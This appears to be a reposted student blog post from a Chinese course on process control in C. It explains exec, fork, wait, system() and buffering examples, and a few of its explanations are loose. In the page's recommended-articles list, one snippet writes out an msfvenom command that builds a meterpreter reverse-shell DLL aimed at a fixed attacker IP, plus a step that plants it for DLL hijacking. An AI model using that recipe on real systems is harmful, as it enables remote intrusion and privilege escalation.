20135202闫佳歆——信息安全系统设计基础第十二周学习总结

最新推荐文章于 2024-08-15 23:37:04 发布
最新推荐文章于 2024-08-15 23:37:04 发布
阅读量112 收藏
点赞数
文章标签： shell 操作系统
原文链接：http://www.cnblogs.com/20135202yjx/p/5003653.html
版权

第八章代码

exec1

代码如下：

#include <stdio.h>
#include <unistd.h>

int main()
{
    char    *arglist[3];

    arglist[0] = "ls";
    arglist[1] = "-l";
    arglist[2] = 0 ;//NULL
    printf("* * * About to exec ls -l\n");
    execvp( "ls" , arglist );
    printf("* * * ls is done. bye");

    return 0;
}

可以看到这个代码中用了execvp函数。

表头文件：

#include<unistd.h>

定义函数：

int execvp(const char file ,char const argv []);

execvp()会从PATH 环境变量所指的目录中查找符合参数file 的文件名，找到后便执行该文件，然后将第二个参数argv传给该欲执行的文件。

如果执行成功则函数不会返回，执行失败则直接返回-1，失败原因存于errno中。

所以运行结果如下：
744668-20151128224314860-146849655.png

可以看到，exevp函数调用成功没有返回，所以没有打印出“* * * ls is done. bye”这句话。

exec2

它与exec1的区别就在于exevp函数的第一个参数，exec1传的是ls，exec2直接用的arglist[0]，不过由定义可得这两个等价，所以运行结果是相同的。

exec3

代码如下：

#include <stdio.h>
#include <unistd.h>

int main()
{
    char    *arglist[3];
    char*myenv[3];
    myenv[0] = "PATH=:/bin:";
    myenv[1] = NULL;

    arglist[0] = "ls";
    arglist[1] = "-l";
    arglist[2] = 0 ;
    printf("* * * About to exec ls -l\n");

    execlp("ls", "ls", "-l", NULL);
    printf("* * * ls is done. bye\n");
}

这个代码里使用了execlp函数，用法如下：

头文件：

#include<unistd.h>

定义函数：

int execlp(const char * file,const char * arg,....);

函数说明：

execlp()会从PATH 环境变量所指的目录中查找符合参数file的文件名，找到后便执行该文件，然后将第二个以后的参数当做该文件的argv[0]、argv[1]……，最后一个参数必须用空指针(NULL)作结束。如果用常数0来表示一个空指针，则必须将它强制转换为一个字符指针，否则将它解释为整形参数，如果一个整形数的长度与char * 的长度不同，那么exec函数的实际参数就将出错。如果函数调用成功,进程自己的执行代码就会变成加载程序的代码,execlp()后边的代码也就不会执行了.

返回值：
如果执行成功则函数不会返回，执行失败则直接返回-1，失败原因存于errno 中。

也就是说，这个代码指定了环境变量，然后依然执行了ls -l指令，成功后没有返回，所以最后一句话不会输出。运行结果同exec1.

forkdemo1

代码如下：

#include    <stdio.h>
#include<sys/types.h>
#include<unistd.h>
int main()
{
    int ret_from_fork, mypid;
    mypid = getpid();              
    printf("Before: my pid is %d\n", mypid);
    ret_from_fork = fork();
    sleep(1);
    printf("After: my pid is %d, fork() said %d\n",
            getpid(), ret_from_fork);

    return 0;
}

代码解释：

这个代码先是打印进程pid，然后调用fork函数生成子进程，休眠一秒后再次打印进程id，这时父进程打印子进程pid，子进程返回0.

运行结果如下：

744668-20151128224326782-433659795.png

forkdemo2

代码如下：

#include <stdio.h>
#include <unistd.h>

int main()
{
    printf("before:my pid is %d\n", getpid() );
    fork();
    fork();
    printf("aftre:my pid is %d\n", getpid() );

    return 0;
}

这个代码调用两次fork，一共产生四个子进程，所以会打印四个aftre输出。

结果如图：
744668-20151128224335172-899087677.png

forkdemo3

代码如下：

#include    <stdio.h>
#include    <stdlib.h>
#include    <unistd.h>

int main()
{
    int fork_rv;

    printf("Before: my pid is %d\n", getpid());

    fork_rv = fork();       /* create new process   */

    if ( fork_rv == -1 )        /* check for error  */
        perror("fork");
    else if ( fork_rv == 0 ){ 
        printf("I am the child.  my pid=%d\n", getpid());
    
        exit(0);
    }
    else{
        printf("I am the parent. my child is %d\n", fork_rv);
        exit(0);
    }

    return 0;
}

fork产生子进程，父进程返回子进程pid，不为0，所以输出父进程的那句话，子进程返回0，所以会输出子进程那句话。

结果如下：
744668-20151128224344469-1318059739.png

forkdemo4

代码：

#include    <stdio.h>
#include    <stdlib.h>
#include    <unistd.h>

int main()
{
    int fork_rv;

    printf("Before: my pid is %d\n", getpid());

    fork_rv = fork();       /* create new process   */

    if ( fork_rv == -1 )        /* check for error  */
        perror("fork");

    else if ( fork_rv == 0 ){ 
        printf("I am the child.  my pid=%d\n", getpid());
        printf("parent pid= %d, my pid=%d\n", getppid(), getpid());
        exit(0);
    }

    else{
        printf("I am the parent. my child is %d\n", fork_rv);
        sleep(10);
        exit(0);
    }

    return 0;
}

先打印进程pid，然后fork创建子进程，父进程返回子进程pid，所以输出parent一句，休眠十秒；子进程返回0，所以输出child与之后一句。

运行结果如下：

744668-20151128224353875-1863936112.png

forkgdb

代码如下：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int  gi=0;
int main()
{
    int li=0;
    static int si=0;
    int i=0;

    pid_t pid = fork();
    if(pid == -1){
        exit(-1);
    }
    else if(pid == 0){
        for(i=0; i<5; i++){
            printf("child li:%d\n", li++);
            sleep(1);
            printf("child gi:%d\n", gi++);
            printf("child si:%d\n", si++);
        }
        exit(0);
        
    }
    else{
        for(i=0; i<5; i++){
            printf("parent li:%d\n", li++);
            printf("parent gi:%d\n", gi++);
            sleep(1);
            printf("parent si:%d\n", si++);
        }
    exit(0);    
    
    }
    return 0;
}

显示结果如下：
744668-20151128224403266-1090892970.png

这个的主要区别是在，父进程打印是先打印两句，然后休眠一秒，然后打印一句，子进程先打印一句，然后休眠一秒，然后打印两句。并且这两个线程是并发的，所以可以看到在一个线程休眠的那一秒，另一个线程在执行，并且线程之间相互独立互不干扰。

psh1

代码：

#include    <stdio.h>
#include    <stdlib.h>
#include    <string.h>
#include    <unistd.h>

#define MAXARGS     20              
#define ARGLEN      100             

int execute( char *arglist[] )
{
    execvp(arglist[0], arglist);        
    perror("execvp failed");
    exit(1);
}

char * makestring( char *buf )
{
    char    *cp;

    buf[strlen(buf)-1] = '\0';      
    cp = malloc( strlen(buf)+1 );       
    if ( cp == NULL ){          
        fprintf(stderr,"no memory\n");
        exit(1);
    }
    strcpy(cp, buf);        
    return cp;          
}

int main()
{
    char    *arglist[MAXARGS+1];        
    int     numargs;            
    char    argbuf[ARGLEN];         

    numargs = 0;
    while ( numargs < MAXARGS )
    {                   
        printf("Arg[%d]? ", numargs);
        if ( fgets(argbuf, ARGLEN, stdin) && *argbuf != '\n' )
            arglist[numargs++] = makestring(argbuf);
        else
        {
            if ( numargs > 0 ){     
                arglist[numargs]=NULL;  
                execute( arglist ); 
                numargs = 0;        
            }
        }
    }
    return 0;
}

这个代码就相当于你输入要执行的指令，回车表示输入结束，然后输入的每个参数对应到函数中，再调用对应的指令。

结果：
744668-20151128224414719-3117679.png

psh2

代码：

#include    <stdio.h>
#include    <stdlib.h>
#include    <string.h>
#include    <sys/types.h>
#include    <sys/wait.h>
#include    <unistd.h>
#include    <signal.h>

#define MAXARGS     20              
#define ARGLEN      100             

char *makestring( char *buf )
{
    char    *cp;

    buf[strlen(buf)-1] = '\0';      
    cp = malloc( strlen(buf)+1 );       
    if ( cp == NULL ){          
        fprintf(stderr,"no memory\n");
        exit(1);
    }
    strcpy(cp, buf);        
    return cp;          
}

void execute( char *arglist[] )
{
    int pid,exitstatus;             

    pid = fork();                   
    switch( pid ){
        case -1:    
            perror("fork failed");
            exit(1);
        case 0:
            execvp(arglist[0], arglist);        
            perror("execvp failed");
            exit(1);
        default:
            while( wait(&exitstatus) != pid )
                ;
            printf("child exited with status %d,%d\n",
                    exitstatus>>8, exitstatus&0377);
    }
}

int main()
{
    char    *arglist[MAXARGS+1];        
    int     numargs;            
    char    argbuf[ARGLEN];         

    numargs = 0;
    while ( numargs < MAXARGS )
    {                   
        printf("Arg[%d]? ", numargs);
        if ( fgets(argbuf, ARGLEN, stdin) && *argbuf != '\n' )
            arglist[numargs++] = makestring(argbuf);
        else
        {
            if ( numargs > 0 ){     
                arglist[numargs]=NULL;  
                execute( arglist ); 
                numargs = 0;        
            }
        }
    }
    return 0;
}

比起1来，多了循环判断，不退出的话就会一直要你输入指令，并且对于子程序存在的状态条件。

结果如下：
744668-20151128224427063-1923785856.png

testbuf

testbuf1：
#include <stdio.h>
#include <stdlib.h>
int main()
{
    printf("hello");
    fflush(stdout);
    while(1);
}

效果是先输出hello，然后换行。之后不退出。

744668-20151128224440641-511140635.png

testbuf2
#include <stdio.h>
int main()
{
    printf("hello\n");
    while(1);
}

效果同上。

可知：fflush(stdout)的效果和换行符\n是一样的。

testbuf3
#include <stdio.h>

int main()
{
    fprintf(stdout, "1234", 5);
    fprintf(stderr, "abcd", 4);
}

将内容格式化输出到标准错误、输出流中。结果如图：

744668-20151128224452953-1267405874.png

testpid

#include <stdio.h>
#include <unistd.h>

#include <sys/types.h>

int main()
{
    printf("my pid: %d \n", getpid());
    printf("my parent's pid: %d \n", getppid());
    return 0;
}

输出当前进程pid和当前进程的父进程的pid。

744668-20151128224502063-284225106.png

testpp

#include <stdio.h>
#include <stdlib.h>
int main()
{
    char **pp;
    pp[0] = malloc(20);

    return 0;
}

这个结果：
744668-20151128224511953-45347880.png

不知道为什么……

testsystem

#include    <stdlib.h>

int main ( int argc, char *argv[] )
{

    system(argv[1]);
    system(argv[2]);
    return EXIT_SUCCESS;
}               /* ----------  end of function main  ---------- */

system()——执行shell命令,也就是向dos发送一条指令。这里是后面可以跟两个参数，然后向dos发送这两个命令，分别执行。如下图，输入ls和dir两个指令后，可以看到分别执行了。
744668-20151128224521953-292265524.png

waitdemo1

#include    <stdio.h>
#include    <stdlib.h>
#include    <sys/types.h>
#include    <sys/wait.h>
#include    <unistd.h>

#define DELAY   4

void child_code(int delay)
{
    printf("child %d here. will sleep for %d seconds\n", getpid(), delay);
    sleep(delay);
    printf("child done. about to exit\n");
    exit(17);
}

void parent_code(int childpid)
{
    int wait_rv=0;      /* return value from wait() */
    wait_rv = wait(NULL);
    printf("done waiting for %d. Wait returned: %d\n", 
            childpid, wait_rv);
}
int main()
{
    int  newpid;
    printf("before: mypid is %d\n", getpid());
    if ( (newpid = fork()) == -1 )
        perror("fork");
    else if ( newpid == 0 )
        child_code(DELAY);
    else
        parent_code(newpid);

    return 0;
}

如果有子进程，则终止子进程，成功返回子进程pid。结果如下图：

744668-20151128224605282-469470090.png

waitdemo2

#include    <stdio.h>
#include    <stdlib.h>
#include    <sys/types.h>
#include    <sys/wait.h>
#include    <unistd.h>

#define DELAY   10

void child_code(int delay)
{
    printf("child %d here. will sleep for %d seconds\n", getpid(), delay);
    sleep(delay);
    printf("child done. about to exit\n");
    exit(27);
}

void parent_code(int childpid)
{
    int wait_rv;    
    int child_status;
    int high_8, low_7, bit_7;

    wait_rv = wait(&child_status);
    printf("done waiting for %d. Wait returned: %d\n", childpid, wait_rv);

    high_8 = child_status >> 8;     /* 1111 1111 0000 0000 */
    low_7  = child_status & 0x7F;   /* 0000 0000 0111 1111 */
    bit_7  = child_status & 0x80;   /* 0000 0000 1000 0000 */
    printf("status: exit=%d, sig=%d, core=%d\n", high_8, low_7, bit_7);
}

int main()
{
    int  newpid;

    printf("before: mypid is %d\n", getpid());

    if ( (newpid = fork()) == -1 )
        perror("fork");
    else if ( newpid == 0 )
        child_code(DELAY);
    else
        parent_code(newpid);
}

这个比起1来就是多了一个子进程的状态区分，把状态拆分成三块，exit，sig和core。具体运行如下：

744668-20151128224614563-1611224145.png

sigdemo

sigdemo1很简单。

sigdemo2一直输出hello我停止不了，只能强行关掉终端_(:з」∠)_

sigdemo3会把你输入的内容再输出到屏幕上，输入quit结束。

参考资料

部分函数相关信息检索自百度百科。

转载于:https://www.cnblogs.com/20135202yjx/p/5003653.html

weixin_30677617
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
matlab演示系统,MATLAB中有趣的演示实例详解
weixin_35208293的博客
03-16 686
MATLAB中也同样有许多有意思的实例，为提高读者对MATLAB和Simulink的兴趣，特举部分以供参考。具体如下，运行的时候只要将“：”前面的代码复制到MATLAB中就可以了，随之会出现各种各样的演示实例，对初学者帮助不小哦。◆ 平面与立体绘图graf2d ：XY平面绘图(火柴棒)graf2d2 ：XYZ立体绘图(切片)hndlgraf ：平面显示线型处理窗口及命令演示hndlaxis ：平面...
.**信息安全系统设计基础第十二周学习总结
weixin_30438813的博客
11-29 90
forkdemo1 这个代码先是打印进程pid，然后调用fork函数生成子进程，休眠一秒后再次打印进程id，这时父进程打印子进程pid，子进程返回0. 运行结果如下： forkdemo2 这个代码调用两次fork，一共产生四个子进程，所以会打印四个aftre输出，一个before输出。 forkdemo3 调用fork产生子进程，父进程返回子进程pid，输出父进程的那句话，子进程返...
20145327 《信息安全系统设计基础》第十一周学习总结
dengnaxun1606的博客
11-23 145
20145327 《信息安全系统设计基础》第十一周学习总结 教材学习内容总结 8.1 异常 异常的剖析，如下图所示： 8.1.1 异常处理 异常表：当处理器检测到有事件发生时，它会通过跳转表，进行一个间接过程调用（异常），到异常处理程序。 异常号：系统中可能的某种类型的异常都分配了一个唯一的非负整数的异常号。异常号是到异常表中的索引。 异常类似于过程调用，但有一些重要的不同之处： （...
20135202闫佳歆——信息安全系统设计基础第十三周学习总结
weixin_30585437的博客
12-06 146
第十二章 并发编程 程序级并发——进程 函数级并发——线程 三种基本的构造并发程序的方法： 进程 每个逻辑控制流是一个进程，由内核进行调度，进程有独立的虚拟地址空间 I/O多路复用 逻辑流被模型化为状态机，所有流共享同一个地址空间 线程 运行在单一进程上下文中的逻辑流，由内核进行调度，共享同一个虚拟地址空间 第一节 基于进程的并发编程 构造并发程序最简单的方法——用进程 常用函数如下： fork...
20135202闫佳歆——信息安全系统设计基础第十四周学习总结
weixin_30823683的博客
12-12 125
第九章 虚拟存储器 虚拟存储器是计算机系统最重要的概念之一，它是对主存的一个抽象 三个重要能力： 它将主存看成是一个存储在磁盘上的地址空间的高速缓存，在主存中只保存活动区域，并根据需要在磁盘和主存之间来回传送数据，通过这种方式，高效的使用了主存 它为每个进程提供了一致的地址空间，从而简化了存储器管理 它保护了每个进程的地址空间不被其他进程破坏 第一节 物理和虚拟寻址 1.物理地址 计算机系统...
20135202闫佳歆——信息安全系统设计基础第十一周学习总结
weixin_30326745的博客
11-22 113
第八章 异常控制流 平滑：指在存储器中指令都是相邻的。 突变：出现不相邻，通常由诸如跳转、调用、和返回等指令造成。 异常控制流ECF：即这些突变。 关于ECF： 1.ECF是操作系统用来实现I/O、进程和虚拟存器的基本机制 2.应用程序通过使用一个叫做陷阱或者系统调用的ECF形式，向操作系统请求服务 3.ECF是计算机系统中实现并发的基本机制 4.软件异常机制——C++和Java有try，ca...
20135202闫佳歆——信息安全系统设计基础第五周学习总结
weixin_30528371的博客
10-11 119
第三章 程序的机器级表示 第一节 历史观点 Intel处理器系列：俗称x86，开始时是第一代单芯片、16位微处理器之一。 第一代是8086，也是汇编课程中学习的处理器型号。 每个后继处理器的设计都是后向兼容的，可以保证较早版本上编译的代码在较新的处理器上运行。 第二节 程序编码 回顾一下以下代码的含义： gcc -01 -o p p1.c -01 表示使用第一级优化。优化的级别与编译时间和最终产...
20135202闫佳歆——信息安全系统设计基础第四周学习总结
weixin_30588827的博客
10-04 102
第2章 信息的表示和处理 三种最重要的数字表示： * 无符号 * 补码 * 浮点数 运算： * 整数运算 * 浮点运算 对比： 整数运算只能编码相对较小的范围，但是是精确的； 浮点运算可以编码一个较大的范围，但是是近似的；浮点运算不可结合。 注意：溢出——运算位数的限制 第一节 信息存储 计算机最小的可寻址的存储器单位——字节 一个字节的值域：00H-FFH 一、十六进制表示法 1. C表示法 以...
20135210程涵——信息安全系统设计基础第十二周学习总结
aashao137666的博客
11-30 97
一、exec1.c:程序调用execvp：arglist是命令行的字符串数组，数组的第一个元素为程序名称，最后一个元素必须是null。 二、exec2.: exec2与exec1的区别就在于：execvp( arglist[0] , arglist )，不过这两个等价，所以运行结果是并无不同。 execlp()函数属于exec()函数族,它是execve(2)函数的前...
MongoDB | MongoDB 终端查询
weixin_44435110的博客
08-12 827
MongoDB 是一个高性能、易扩展的文档型 NoSQL 数据库。本文档将指导你如何使用 MongoDB 的命令行工具`mongo` shell来查询存储在MongoDB数据库中的数据。
Shell编程
欢迎阅读我的博客
08-15 763
shell编程
linux定时自启动shell脚本
打不倒的程序猿
08-15 204
如果在编写脚本时遇到 -bash: ./test.sh: /bin/bash^M: 解释器错误: 没有那个文件或目录 则执行 >sed -i 's/\r$//' xxxx.sh 因为在windows下，用记事本编写脚本文件，会导致编译出错。windows下的换行符为\n\r，linux下的换行符为\n,所以需要对\r进行格式转换
shell编程中的管道符 ‘|‘
2301_77836489的博客
08-15 465
shell编程中的管道符 '|'
排序算法之希尔排序
rd_w_csdn的博客
08-12 615
1959年Shell发明，是简单插入排序的改进版。是一种高效的排序算法，通过分组和逐步缩减增量，使得数组在接近有序的情况下进行最终排序，从而提高效率。
【busybox记录】【shell指令】chroot
44083579的博客
08-14 260
chroot指令用法
Windows第三方软件提权-QQpinyin
A19911511842的博客
08-15 253
使用kali的msfvenom制作反弹shell的dll木马（kali IP：192.168.188.177）：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.188.177 LPORT=6060 -f dll > shell.dll。在QQ拼音安装目录执行：copy C:\\AppServ\\www\\shell.dll profapi.dll。上传到靶机服务器（文件位置：C:\AppServ\www\shell.dll）
利用shell脚本一键查询ceph中bucket桶的占用大小
小橙子的笔记屋
08-13 309
shell脚本查询ceph中bucket桶占用大小
Shell、C/C++、Python操作环境变量
fakerth的博客
08-13 492
环境变量是一种在操作系统中用于存储信息的机制，这些信息可以被系统进程、应用程序和脚本访问和使用。环境变量在操作系统中的作用类似于一个全局配置参数，它们定义了操作系统的运行环境，包括系统行为、应用程序路径、用户信息等。环境变量是以键值对（key-value pair）形式存在的，每个环境变量都有一个名称（键）和一个与之对应的值。环境变量的名称通常是全大写字母，遵循命名规则，可以包含字母、数字、下划线 _，但不能包含空格。
shell综合小实验1-----查看系统硬件信息
最新发布
cf6666666的博客
08-15 150
通过shell脚本简单查看自己linux系统的硬件信息
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值